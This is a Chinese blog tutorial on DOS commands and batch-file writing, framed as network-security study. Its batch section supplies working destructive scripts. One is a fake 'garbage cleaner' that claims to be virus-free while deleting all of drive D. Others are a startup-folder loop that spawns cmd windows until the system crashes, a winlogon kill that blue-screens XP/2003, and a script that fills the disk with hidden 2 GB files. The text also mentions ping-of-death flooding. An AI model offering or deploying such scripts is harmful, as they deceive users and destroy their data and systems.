(一)基本DOS命令和批处理文件编写(网络安全)

声明:前面我提供给大家很多镜像资源,大家根据需要下载,系统安装过程可参照网上教程,我就不演示啦。下面我给大家简单介绍下虚拟机和虚拟机的基本使用。

镜像下载链接:https://blog.csdn.net/Until_U/article/details/106984359

(1)VMware基本介绍

我们使用的是VMware虚拟机,VMware虚拟机架构有寄居架构和原生架构,我们所用的VMware workstations是在Windows系统之上的,他就是典型的寄居架构。而在生产环境中,原生架构很常见,它是直接将VMware安装在硬件之上的,相当于一个操作系统,典型的是VMware vsphere。

而在生产环境下还有一个微软的hyper-v也很常见,他也是典型的寄居架构。

而在所有的学习实验环境下,我们都使用的是VMware workstations,典型的寄居架构哦。

(2)VMware基本使用。

例如前面安装好WinXP系统之后,我们需要给xp安装vmtools,让虚拟机与真机进行交互,然后可以根据需要进行磁盘管理。保持好虚拟机最佳状态并建立快照。根据实验环境需要,可以克隆多个虚拟机进行模拟实验环境。(详细操作我也不做介绍了,百度上也有很多教程,遇到问题记得百度哦)


 

下面开始今天的学习,基本DOS命令和批处理文件的编写:

一、基本DOS命令

(1)color /?   #修改cmd字体颜色

 (2)systeminfo  #查看系统信息

(3)ping给对方主机发送ICMP包,ping域名也可返回ip地址) 

 死亡之ping(给对方主机发送大量ICMP包,这个容易搞坏目标服务器,但是现在很多例如阿里服务器都自带包过滤功能,可能会无效。)

(4)ipconfig 查看本机IP地址

 ipconfig  /release   #释放IP地址

 ipconfig /renew   #重新获取IP地址

(5)cls   #清屏 这个比较好用哦

(6)shutdown   #关机

(7)关于目录的一些命令

盘符切换:直接输入盘符:

cd 切换目录(.表示当前目录,“..”表示上层目录)

md创建目录,rd删除目录(rd . /s/q  递归删除当前目录下所有内容)

dir 显示当前目录下的内容

(8)文件的相关操作

下面介绍两种创建文件的方法。echo(>为覆盖,>>为追加)、copy con 文件名

type显示文件内容,并且可以通过 | more分页显示(适用于文本比较多的情形)

copy、move和del文件:

del . *.txt (删除当前目录下TXT文件) ;  del \ *.*(这条删除命令慎用,建议虚拟机中操作,恐怖程度类似于rm -rf /*)

文件授权:attrib(类似于Linux下的chmod等)

(9)下面来点变态的操作哟

下面只要去除文件的权限再删除掉就可以了。

再看一个操作:修改TXT文件成exe可执行文件,这样就没法处理txt文件了,同样的也可以吧Word,jpg文件都修改为了,止痒它们都执行不了。是不是也很变态。

取消操作就修改回来就好了。这个在下面编写批处理文件好好讲解。

二、批处理文件编写

(1)编写一个删除文件小脚本(下面是删除D盘下所有文件,慎用哦)

@echo off
color A
title garbage cleaning.exe
echo 这只是一个简单的垃圾清理软件,没有病毒哦(在虚拟机上操作哦,否则文件删光光别找我呀)
pause
echo.
echo garbage is cleaning .............
d:   >nul 2>null      ::消除提示
cd \ >nul 2>null
rd . /s/q >nul 2>null
ping -n 10 127.0.0.1 >nul 2>null  ::ping环回地址假装正在清理
echo congratulations! Garbage has been cleaned!
pause

(2)编写定时关机小脚本。

@echo off  ::关闭执行过程
color A
title this is just a procedure   ::赋予程序标题
:menu
cls
echo ********************定时关机小程序**************
echo                          菜单               
echo.   ::换行
echo                     1、定时关机
echo                     2、取消关机
echo                     3、退出程序
echo ******************************************
echo.

set /p num=请输入你的选择:         ::set为设置变量,/p的作用是不要直接赋值给num,而是让用户输入
if "%num%"=="1" goto 1               ::判断输入值,并进行相应的跳转 
if "%num%"=="2" goto 2    
if "%num%"=="3" goto 3  
echo 请输入正确数值,不要皮哦!,按任意键继续!
pause                                             ::暂停操作,显示以上信息
goto menu

:1                                                   ::定义结构体,类似于switch一样,进行相应的跳转
set /p a=请输入多久进行关机(单位/s):
shutdown -s -t %a% -f
goto menu

:2
shutdown -a
goto menu

:3
exit


(3)explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。下面简单创建一个删除它的一个脚本。

@echo off
color A
taskkill /im explorer.exe /f

echo 傻了吧!!!

ping -n 10 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的,是不是被吓到啦!!!

(4)针对xp和win2003的蓝屏脚本

ntsd -c q -pn winlogon.exe

(5)编写一个脚本haha.bat。把它拷贝到启动文件中,这样无论重启都会反复执行cmd。导致系统崩溃。 %userprofile%是系统用户变量。(真机慎用!)

copy haha.bat "%userprofile%\「开始」菜单\程序\启动"
:d
start
goto d

(6)挤爆磁盘空间并授予相关权限,让别人也看不到。 

@echo off
color A
d:
cd \
fsutil file createnew c:\sys.ini1 2048000000
fsutil file createnew c:\sys.ini2 2048000000
fsutil file createnew c:\sys.ini3 2048000000
fsutil file createnew c:\sys.ini4 2048000000
fsutil file createnew c:\sys.ini5 2048000000
fsutil file createnew c:\sys.ini6 2048000000
fsutil file createnew c:\sys.ini7 2048000000
attrib +s +a +h c:\sys.ini1
attrib +s +a +h c:\sys.ini2
attrib +s +a +h c:\sys.ini3
attrib +s +a +h c:\sys.ini4
attrib +s +a +h c:\sys.ini5
attrib +s +a +h c:\sys.ini6
attrib +s +a +h c:\sys.ini7

好了,DOS基本命令和批处理文件就暂时学到这,后面学到这方面的知识就见怪不怪啦。Bye!

 

 

 

 

 

 

 

 

 

 

 

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

硬核的无脸man~

你的鼓励是我创作的最大功力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值